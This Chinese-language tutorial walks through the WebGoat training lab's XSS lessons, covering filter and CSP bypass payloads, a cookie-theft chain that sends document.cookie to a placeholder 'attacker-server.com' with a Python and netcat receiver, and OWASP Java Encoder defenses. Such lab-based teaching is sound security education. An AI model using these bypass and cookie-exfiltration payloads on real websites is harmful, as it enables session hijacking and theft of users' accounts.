1. 项目概述:为什么WebGoat的XSS关卡值得深挖?
如果你正在学习Web安全,尤其是前端安全,那么WebGoat这个靶场你肯定不陌生。它就像一个精心设计的“闯关游戏”,把各种真实世界里的Web漏洞,比如SQL注入、CSRF、XSS等,都做成了一个个需要你动手去攻破的关卡。今天我想重点聊聊里面的XSS部分,特别是那份在网上流传的“通关避坑指南”。很多人照着指南一步步操作,却发现卡在了某个地方,或者明明代码敲对了,就是弹不出那个梦寐以求的alert框。这背后其实不是指南错了,而是WebGoat这个靶场本身,以及我们学习XSS的思路,存在一些需要特别注意的“坑”。
XSS,跨站脚本攻击,听起来高大上,说白了就是想办法让网站执行你输入的恶意JavaScript代码。WebGoat的XSS关卡设计得非常经典,从最基础的反射型XSS,到需要绕过各种过滤的存储型XSS,再到利用DOM操作的DOM型XSS,几乎覆盖了所有常见场景。但它的“坑”也在于此:为了模拟真实环境,它设置了一些过滤和防护机制。如果你只是机械地复制Payload(攻击载荷),而不去理解它为什么能工作、为什么有时会失效,那你永远只能算个“脚本小子”,遇到稍微变化的环境就束手无策。
这份指南的价值,就在于它不仅仅告诉你“输入
<script>alert(1)</script>
”,而是带你一步步分析前端的过滤逻辑,教你如何构造变形的Payload来绕过它,最终实现盗取Cookie这种更具威胁性的实战操作。同时,它还提到了OWASP Encoder这个防御工具,这恰恰是很多纯攻击教程里缺失的一环——只知攻,不知防,你的知识体系是不完整的。接下来,我就结合自己多次通关和教学的经验,把这里面的门道、容易踩的坑,以及背后的原理,给你掰开揉碎了讲清楚。
2. 环境准备与靶场搭建的核心细节
工欲善其事,必先利其器。在开始我们的XSS冒险之前,一个稳定、可复现的环境是第一步。很多人卡在第一步,不是下载错了版本,就是环境起不来。
2.1 WebGoat版本选择与部署要点
WebGoat有好几个主要版本,比如7.x, 8.x,以及较新的WebGoat.NET。对于XSS学习,我强烈推荐使用 WebGoat 8.x 版本。8.x版本用Spring Boot重构了,部署起来最简单,漏洞场景也足够新和全面。你不需要去折腾老旧的Tomcat和Java环境配置。
部署方法就一句话:
确保你的机器上安装了Java 8或Java 11
,然后去GitHub的OWASP/WebGoat项目Release页面,下载最新的
webgoat-server-8.x.x.jar
和
webgoat-ui-8.x.x.jar
。分别用
java -jar
命令启动这两个Jar包。server端默认跑在8080端口,ui端跑在3000端口。然后浏览器访问
http://localhost:3000/WebGoat
就能看到登录界面了。
注意 :这里第一个大坑就来了。很多教程让你只下载server包,然后访问8080端口,那是老版本(7.x)的做法。8.x版本是前后端分离的,必须同时启动server和ui两个服务,缺一不可。如果你在3000端口看到的是空白页或者错误,请检查ui服务是否成功启动,并确认没有端口冲突。
注册一个账号登录进去,你就能在侧边栏找到“Cross-Site Scripting (XSS)”这一大章节,里面包含了从易到难的一系列课程。
2.2 开发者工具:你的“X光透视仪”
在开始攻击之前,你必须和你浏览器的开发者工具(DevTools)成为好朋友。在Chrome或Edge里按F12打开它,以下几个标签页是你需要重点关注的:
- Elements(元素) :查看网页的HTML结构。当你提交了Payload后,一定要来这里看看,你的输入被渲染成了什么样子。是被原样显示了,还是标签被转义了,或者被整个删除了?这是分析过滤规则的第一现场。
-
Console(控制台)
:查看JavaScript错误。如果你的Payload是JS代码,但没执行,控制台很可能会报错,比如“Unexpected token ‘<‘”这种,这往往说明你的
<script>标签被拦截了,但标签内的内容被当作文本输出了。 - Network(网络) :查看HTTP请求和响应。有时候,Payload的过滤发生在服务端,查看服务器返回的响应体,能让你知道服务端到底对你输入的内容做了什么处理。是原样返回,还是做了编码或过滤?
- Sources(源代码) :可以查看前端JavaScript文件。对于DOM型XSS,你需要在这里找到处理你输入数据的JS代码,分析其逻辑,才能构造出有效的Payload。
我建议你从一开始就养成习惯:每输入一个测试Payload,就立刻切换到Elements面板,看看它被放到了HTML的哪个位置,形态是否完整。这是后续所有绕过技巧的基础。
3. XSS基础关卡:理解三种类型与注入点
WebGoat的XSS课程通常从介绍三种类型开始。我们快速过一下,重点是理解它们在WebGoat中的表现形式。
3.1 反射型XSS:最简单的“镜子”
反射型XSS也叫非持久型XSS。它的过程就像照镜子:你输入的数据,由服务器“反射”回浏览器的响应页面中,并立即执行。在WebGoat里,通常会有一个搜索框或者表单,你提交后,你的输入会显示在结果页面上。
经典Payload
:
<script>alert(document.domain)</script>
通关思路
:直接在输入框输入这个,提交。如果成功,会弹出一个显示当前网站域名的对话框。这里几乎没过滤,目的是让你感受最简单的XSS效果。
关键观察
:提交后,去Elements面板里搜索“alert”。你会发现你的
<script>
标签被完整地插入到了HTML页面中。这说明服务端没有做任何过滤,直接将你的输入拼接进了HTML响应里。这是最危险但也最容易在真实环境中被WAF(Web应用防火墙)拦截的情况。
3.2 存储型XSS:潜伏的“地雷”
存储型XSS更危险,因为你的恶意脚本会被保存到服务器数据库里(比如评论、留言、昵称)。之后任何用户访问这个页面,都会中招。WebGoat里模拟了一个留言板或用户信息更新的场景。
初级Payload
:在昵称或留言框输入
<script>alert(‘XSS’)</script>
并提交。
可能遇到的坑
:你可能会发现提交后没反应。这时你需要:
- 检查Elements,看你的脚本是被存储了,还是被过滤了。
-
如果是存储了但没执行,可能是插入的位置不对,或者有CSP(内容安全策略)限制。WebGoat的某些关卡会引入简单的过滤,比如将
<script>替换成空字符串。这时你就需要绕过了。
绕过思路初探
:如果它只是简单替换
<script>
这个字符串,你可以尝试变形,比如
<scr<script>ipt>
,当中间的
<script>
被删除后,剩下的字符正好又组合成了
<script>
。这就是最基本的“绕过字符串删除”的技巧。在WebGoat的存储型XSS关卡里,你会反复用到这类思维。
3.3 DOM型XSS:前端的“逻辑漏洞”
DOM型XSS比较特殊,漏洞的根源不在服务端,而在前端JavaScript代码逻辑上。JavaScript通过DOM API(如
document.write
,
innerHTML
,
location.hash
等)操作页面,如果它直接将不可信的数据(比如URL参数)拼接到HTML中,就会产生漏洞。
WebGoat典型场景 :页面上有一个下拉框或输入框,你选择或输入后,页面会通过JavaScript动态更新某部分内容,而不刷新页面。
分析方法 :
-
打开Sources面板,找到处理你输入的JS文件(或者直接在Elements里看内联的
<script>标签)。 -
阅读代码。关键寻找像
document.getElementById(‘xxx’).innerHTML = userInput;或者eval(‘some string ‘ + userInput);这样的危险语句。 -
你的Payload需要根据这个具体的上下文来构造。如果数据被
innerHTML插入,你需要构造完整的HTML标签;如果被eval执行,你需要构造合法的JS语句来闭合前面的代码。
一个简单例子
:假设代码是
document.write(“<p>Welcome, “ + username + “!</p>”)
,其中
username
来自URL参数。那么你可以构造Payload为
</p><script>alert(1)</script><p>
,这样就能先闭合前面的
<p>
标签,然后插入自己的脚本。
理解这三种类型的区别和攻击面,是你进行后续复杂绕过的基础。WebGoat的关卡设计也是按照这个难度梯度来的。
4. 手把手绕过过滤:从黑名单到编码混淆
好了,热身结束,现在进入正题:绕过过滤。这是WebGoat XSS关卡最核心、也最让人头疼的部分。过滤机制千变万化,但核心思想无非几种:黑名单、标签属性转义、长度限制、内容安全策略(CSP)。我们一个一个来拆解。
4.1 绕过标签名称过滤(黑名单)
这是最常见的一种。服务器端或前端JS会维护一个“黑名单”,比如
[‘script’, ‘img’, ‘iframe’, ‘onload’, …]
,一旦发现你的输入包含这些关键词,就直接删除或替换掉。
WebGoat实战案例
:在存储型XSS关卡,你输入
<script>
没反应。查看网络响应或Elements,发现
<script>
标签不见了。
-
方法一:大小写混淆
。
<ScRiPt>alert(1)</sCrIpT>。很多简单的黑名单匹配是大小写敏感的。 -
方法二:嵌套绕过
。上面提过的
<scr<script>ipt>。或者利用HTML解析的特性:<scr<script/>ipt>,当<script/>被当作自闭合标签删除后,也可能组合成功。 -
方法三:使用非
<script>标签 。XSS不一定非要<script>。<img src=x onerror=alert(1)>是利用图片加载错误事件。<svg onload=alert(1)>是利用SVG标签。<body onload=alert(1)>如果能在标签内注入,也可以。你需要根据注入点的上下文来选择合适的标签。
实操心得 :遇到过滤,第一反应是去Elements里看“残骸”。你的输入变成了什么?是
<>alert(1)</>,还是alert(1)?这能告诉你过滤规则是删除整个标签,还是只删除标签名。如果是前者,你可能需要尝试无标签的事件处理器(如onmouseover属性注入);如果是后者,嵌套绕过可能有效。
4.2 绕过属性与事件处理器过滤
有时候,标签可以用,但属性名(特别是事件处理器)被过滤了。比如
onerror
,
onload
,
onclick
等被列入黑名单。
绕过技巧 :
-
编码混淆
:JavaScript事件处理器支持HTML实体编码。
onclick可以写成onclick(十六进制)或onclick(十进制)。当浏览器解析HTML时,会先将这些实体解码成字符,然后再作为属性名识别。注意,这只在属性名位置有效,标签名位置不行。 -
利用SVG标签的宽松解析
:SVG标签内部允许使用
<script>,且其事件属性有时检查不严。例如:<svg><script>alert(1)</script></svg>。 -
利用HTML5新标签/属性
:一些不太常见的标签或属性可能不在黑名单里,比如
<details open ontoggle=alert(1)>,当用户点击展开详情时触发。
4.3 绕过内容安全策略(CSP)
WebGoat在较难的关卡中可能会引入简单的CSP。CSP通过HTTP响应头告诉浏览器,哪些外部资源可以被加载和执行,是防御XSS的利器。
查看CSP
:在Network面板,找到页面响应头,查看
Content-Security-Policy
字段。
常见CSP指令
:
-
script-src ‘self’:只允许执行同源(相同协议、域名、端口)的脚本。 -
script-src ‘nonce-xxx’:只有带有正确nonce属性的<script>标签才能执行。 -
script-src ‘unsafe-inline’:允许内联脚本(如<script>alert(1)</script>),但这是不安全的,很多CSP会禁止它。
绕过思路(针对简单CSP) :
-
利用允许的域名
:如果CSP包含
script-src ‘self’ https://cdn.example.com,你可以尝试:-
在能控制内容且同域的页面(比如另一个存在存储型XSS的页面)上传恶意JS文件,然后通过
<script src=”/uploads/evil.js”>来引用。 -
如果
cdn.example.com存在JSONP接口或允许用户上传内容,可以尝试利用。
-
在能控制内容且同域的页面(比如另一个存在存储型XSS的页面)上传恶意JS文件,然后通过
-
利用
unsafe-eval:如果CSP设置了script-src ‘unsafe-eval’,你可以使用eval()、setTimeout()、Function()等动态执行字符串代码。例如,你可以注入<img src=x onerror=”eval(‘al’+’ert(1)’)”>。 -
绕过
nonce:如果每个合法<script>标签都有一个服务器生成的随机nonce,常规注入很难绕过。但有时可以通过其他漏洞(如CSS注入、标记注入)来窃取或预测nonce值,但这在WebGoat的初级关卡中较少见,属于高阶技巧。
在WebGoat中,CSP通常不会设置得非常严格,目的是让你了解这个机制。你的绕过策略往往是寻找CSP策略中的“白名单”漏洞。
5. 实战攻击:盗取Cookie的完整链条
弹出一个alert框只是证明漏洞存在。真正的攻击者想要的是敏感信息,而Cookie是其中最经典的目标。盗取Cookie并发送到攻击者控制的服务器,这是一个完整的攻击链。在WebGoat里,通常会有一个关卡专门让你实现这个。
5.1 构造恶意Payload
我们的目标是:当受害者访问被注入了XSS的页面时,其Cookie能自动发送到我们的服务器。 核心Payload结构如下:
<script>
var img = new Image();
img.src = ‘http://attacker-server.com/steal?cookie=’ + encodeURIComponent(document.cookie);
</script>
或者更简洁的:
<img src=x onerror=”this.src=’http://attacker-server.com/steal?cookie=’+encodeURIComponent(document.cookie)”>
解释一下:
-
document.cookie:获取当前页面的Cookie(前提是该Cookie没有设置HttpOnly属性,设置了HttpOnly的Cookie无法通过JS读取)。 -
encodeURIComponent():对Cookie值进行URL编码,因为Cookie中可能包含特殊字符(如分号、等号),直接拼接在URL里会破坏结构。 -
http://attacker-server.com/steal:这是攻击者准备的接收数据的服务器地址。我们需要一个能接收HTTP请求并记录参数的服务。
5.2 搭建简易接收服务器
你不可能在真实互联网上有一个服务器,所以需要在本地模拟。这里有两个最常用的方法:
方法一:使用Netcat(nc)监听端口(Linux/Mac) 在终端执行:
nc -lvnp 9999
这个命令会在本地的9999端口启动一个TCP监听。然后,将Payload中的攻击者地址改为
http://你的本地IP:9999/steal?cookie=
。当受害者(其实就是你自己访问靶场)触发XSS后,你会在nc终端看到完整的HTTP GET请求,其中就包含了Cookie。
方法二:使用Python快速启动HTTP服务器
写一个简单的Python脚本
steal.py
:
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class StealHandler(BaseHTTPRequestHandler):
def do_GET(self):
query = urlparse(self.path).query
params = parse_qs(query)
if ‘cookie’ in params:
cookie_value = params[‘cookie’][0]
print(f”[+] Stolen Cookie: {cookie_value}“)
# 也可以写入文件
with open(‘stolen_cookies.txt’, ‘a’) as f:
f.write(cookie_value + ‘\n’)
self.send_response(200)
self.end_headers()
self.wfile.write(b’OK’) # 返回一个响应,避免浏览器报错
def log_message(self, format, *args):
pass # 屏蔽默认日志
server = HTTPServer((‘0.0.0.0’, 9999), StealHandler)
print(‘[*] Listening on port 9999…’)
server.serve_forever()
运行
python3 steal.py
,它会在9999端口启动一个HTTP服务器,专门接收并打印Cookie。同样,修改Payload指向
http://你的本地IP:9999/steal?cookie=
。
重要提示 :在WebGoat靶场内部,你的“攻击者服务器”地址需要用WebGoat运行环境的网络可达IP。如果WebGoat运行在Docker或你的本地,直接用
127.0.0.1或localhost即可。如果是在虚拟机或远程环境,需要填写对应的IP。确保防火墙允许该端口的连接。
5.3 在WebGoat中实施并验证
- 将构造好的盗取Cookie的Payload,根据前面学到的绕过过滤技巧进行变形,然后注入到靶场的漏洞点(如留言、昵称)。
- 启动你的接收服务器(nc或Python脚本)。
- 以受害者身份(可以是另一个浏览器,或者同一个浏览器的新页面)访问存在存储型XSS的页面。如果是反射型XSS,则需要诱骗受害者点击你构造的恶意链接。
- 观察你的接收服务器终端,如果成功,你会看到一条包含Cookie的HTTP请求记录。
常见问题 :
- 没收到请求 :检查Payload是否成功执行。在注入点页面按F12看Console有没有JS错误。检查接收服务器IP和端口是否正确,网络是否通畅。
-
Cookie为空
:很可能目标Cookie设置了
HttpOnly属性。HttpOnly的Cookie无法通过document.cookie读取,这是防御盗取Cookie的有效手段。在这种情况下,XSS攻击者可能需要寻找其他敏感信息,如CSRF Token、页面内的用户数据等。 -
请求被浏览器跨域策略拦截
:现代浏览器对跨域请求有严格限制。但通过
img.src发起的GET请求通常不受CORS预检限制,是常用的外带数据方式。如果遇到问题,可以尝试使用fetchAPI并设置mode: ‘no-cors’,但这样你无法读取响应内容,只能确认请求发出。
完成这一步,你就实现了一个完整的、从漏洞利用到数据窃取的XSS攻击链。这让你深刻理解XSS的实际危害远不止弹个窗那么简单。
6. 防御实战:正确配置与使用OWASP Java Encoder
知道怎么攻击,才能更好地防御。OWASP Encoder项目提供了一套用于在各种上下文中对不可信数据进行编码的库,是Java Web开发中防御XSS的标配工具。WebGoat课程最后部分通常会引导你使用它。
6.1 为什么需要编码?
XSS的本质是“数据被错误地当成了代码执行”。防御的核心原则就是: 在任何将不可信数据输出到页面的时候,都要根据其所在的上下文进行正确的编码,使其失去代码的可执行性,变成纯文本。
不同的上下文,编码规则不同:
-
HTML正文上下文
:比如
<div>${userInput}</div>。需要转义<,>,&,”,’等字符。例如,<转成<。 -
HTML属性上下文
:比如
<input value=”${userInput}”>。除了上述字符,空格和引号也需要特别注意。通常使用HTML属性编码。 -
JavaScript上下文
:比如
<script>var name = ‘${userInput}’; </script>。需要转义引号、换行符等,防止跳出字符串。例如,’转成\x27或\u0027。 -
URL上下文
:比如
<a href=”/profile?name=${userInput}”>。需要使用URL编码(百分号编码)。
手动处理这些规则极易出错。OWASP Java Encoder库就是帮你自动完成这些工作的。
6.2 在项目中引入OWASP Java Encoder
如果你使用Maven,在
pom.xml
中添加依赖:
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>
<version>1.3.0</version> <!-- 请使用最新版本 -->
</dependency>
如果使用Gradle:
implementation ‘org.owasp.encoder:encoder:1.3.0’
6.3 核心API使用详解
Encoder库提供了多个静态方法,用于不同上下文:
-
Encode.forHtml(String input):用于将数据放入HTML标签正文中。-
场景
:
<div><%= Encode.forHtml(userContent) %></div> -
效果
:
<script>会被转义为<script>,浏览器会将其显示为文本,而不会解析为标签。
-
场景
:
-
Encode.forHtmlAttribute(String input):用于将数据放入HTML属性值中。-
场景
:
<input value=”<%= Encode.forHtmlAttribute(userInput) %>”> -
效果
:如果用户输入是
” onmouseover=”alert(1),编码后会变成" onmouseover="alert(1),从而破坏了攻击者闭合引号注入新属性的企图。
-
场景
:
-
Encode.forJavaScript(String input):用于将数据放入JavaScript字符串中。-
场景
:
<script>var msg = ‘<%= Encode.forJavaScript(serverMsg) %>’; </script> -
效果
:如果
serverMsg是’; alert(1);//,编码后会变成\x27; alert(1);//,使其在JS字符串中保持为普通文本。
-
场景
:
-
Encode.forUri(String input):用于将数据放入URL路径或参数中。-
场景
:
<a href=”/search?q=<%= Encode.forUri(query) %>”>Search</a> -
注意
:对于完整的URL,应使用
Encode.forUriComponent对参数部分进行编码,或者使用标准的URI构建工具。
-
场景
:
在JSP中的使用示例 :
<%@ page import=”org.owasp.encoder.Encode” %>
…
<!– 输出到HTML正文 –>
<p>用户评论:<%= Encode.forHtml(comment) %></p>
<!– 输出到HTML属性 –>
<input type=”text” value=”<%= Encode.forHtmlAttribute(username) %>” />
<!– 输出到JavaScript –>
<script>
var userData = ‘<%= Encode.forJavaScript(jsonData) %>’;
// 注意:将复杂对象放入JS时,更好的做法是在服务端将其序列化为JSON字符串,然后整体进行JS编码。
</script>
6.4 防御的“坑”与最佳实践
- 编码时机 : 输出时编码,而不是输入时存储编码后的数据 。如果在输入时就编码并存入数据库,那么这些数据在其他非HTML上下文(比如导出为CSV、用于API接口)显示时,会带着一堆HTML实体,造成混乱。正确的做法是,在从数据库取出数据,准备渲染到HTML页面时,再进行编码。
-
上下文匹配
:一定要选对编码函数。用
forHtml去编码JavaScript上下文的数据是无效的,反之亦然。这是最常见的防御失效原因。 - “安全的”富文本 :对于需要保留部分HTML格式(如加粗、斜体)的用户输入(如博客评论),不能使用上述编码,否则格式标签也会被转义。这时需要使用白名单过滤库,如OWASP Java HTML Sanitizer,它只允许安全的标签和属性通过,并过滤掉所有脚本。
-
结合其他措施
:
-
设置HttpOnly Cookie
:对于会话Cookie,务必设置
HttpOnly属性,阻止JavaScript访问。 - 实施内容安全策略(CSP) :这是深度防御的利器,即使编码被意外遗漏,CSP也能作为最后一道防线阻止脚本执行。
- 使用现代框架 :如React, Vue, Angular等,它们默认提供了基于模板的自动转义机制,在很大程度上避免了XSS。
-
设置HttpOnly Cookie
:对于会话Cookie,务必设置
在WebGoat的防御关卡里,你需要做的通常就是找到存在XSS漏洞的代码行,然后用正确的
Encode.forXXX()
方法包裹输出变量。通过对比修复前后的页面效果,你能直观感受到编码是如何将攻击Payload“无害化”的。
7. 通关全流程疑难问题排查实录
即使有了指南,在实战中你还是会遇到各种奇怪的问题。下面是我总结的WebGoat XSS关卡常见“坑点”及解决方案。
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 输入Payload后页面无任何反应,也不报错。 |
1. Payload被服务端彻底过滤/拦截。
2. Payload注入的位置不对,无法触发。 3. 存在CSP阻止了脚本执行。 |
1.
检查Network
:查看提交请求的响应体,确认你的Payload是否被原样返回。如果被清空或修改,说明服务端有过滤。
2. 检查Elements :在渲染后的HTML中搜索你输入的关键词(如
alert
),看它是否存在,以及处于什么标签内。可能被放在了注释、
<textarea>
或属性值里,无法作为脚本执行。
3. 检查Console :查看是否有CSP违规报告。在Console里可能会有类似“拒绝执行内联脚本”的错误。 |
| Alert框弹出了,但盗取Cookie的Payload没收到请求。 |
1. 接收服务器地址/端口错误。
2. 接收服务器未启动或防火墙阻挡。 3. Payload中拼接Cookie的JS代码有语法错误。 4. Cookie是HttpOnly的。 |
1.
确认接收服务
:用
curl http://你的IP:端口
或浏览器直接访问,测试服务是否可达。
2. 检查Console :查看是否有JS报错(如
encodeURIComponent is not defined
,注意拼写)。
3. 简化测试 :先将Payload改为
<img src=”http://你的IP:端口/test”>
,看是否能收到简单的GET请求,先排除网络和服务器问题。
4. 检查Cookie :在开发者工具的Application -> Cookies里,查看目标Cookie的HttpOnly列是否被打勾。 |
| 存储型XSS提交后,在其他浏览器/标签页访问不触发。 |
1. WebGoat的会话或数据隔离。某些关卡可能为每个用户会话创建独立的数据空间。
2. 浏览器缓存。 |
1.
确认攻击场景
:存储型XSS本应影响所有访问者。在WebGoat中,尝试用同一个账号的不同标签页访问,或完全退出再登录访问。
2. 清除缓存 :尝试硬刷新(Ctrl+F5)或清除浏览器数据。 3. 查看数据存储 :有些关卡可能需要你访问特定的“查看留言”或“用户列表”页面才能触发,而不是首页。 |
| DOM型XSS的Payload在URL里,但复制到地址栏后不执行。 |
1. URL中的特殊字符被浏览器自动编码或截断。
2. 页面JS逻辑需要特定交互(如点击按钮)才会处理URL参数。 |
1.
URL编码
:确保Payload中的特殊字符(如
<
,
>
,
&
,
#
,
?
)被正确URL编码。可以使用
encodeURIComponent()
对整体Payload进行编码后再放入URL。
2. 分析JS逻辑 :仔细阅读Sources里的代码,看它是监听
onload
事件,还是需要用户触发某个动作(如点击、输入后回车)才会执行那段包含漏洞的代码。
|
使用OWASP Encoder编码后,页面显示乱码或编码实体(如
<
)。
|
1. 双重编码。
2. 在错误的上下文使用了编码函数。 |
1.
检查是否重复编码
:确保没有在其他地方(如控制器层、模板引擎全局过滤器)对同一变量再次编码。
2. 确认上下文 :在HTML属性里用了
forHtml
,会导致
”
被转成
"
,这是正确的。但如果想在JS字符串里显示
<
,应该用
forJavaScript
将其转成
\x3c
,而不是
<
。
|
最后的心得 :WebGoat的乐趣和挑战就在于这些“坑”。它模拟了真实世界中不完美的代码和安全机制。通关的关键不是记住所有Payload,而是培养一种“侦探思维”:观察输入与输出的差异,分析过滤逻辑,大胆假设,小心验证。每一次失败后的排查,都是对你安全理解深度的一次提升。当你能够不依赖指南,独立分析并攻克一个XSS关卡时,你就真正掌握了这项技能的核心。

468

被折叠的 条评论
为什么被折叠?



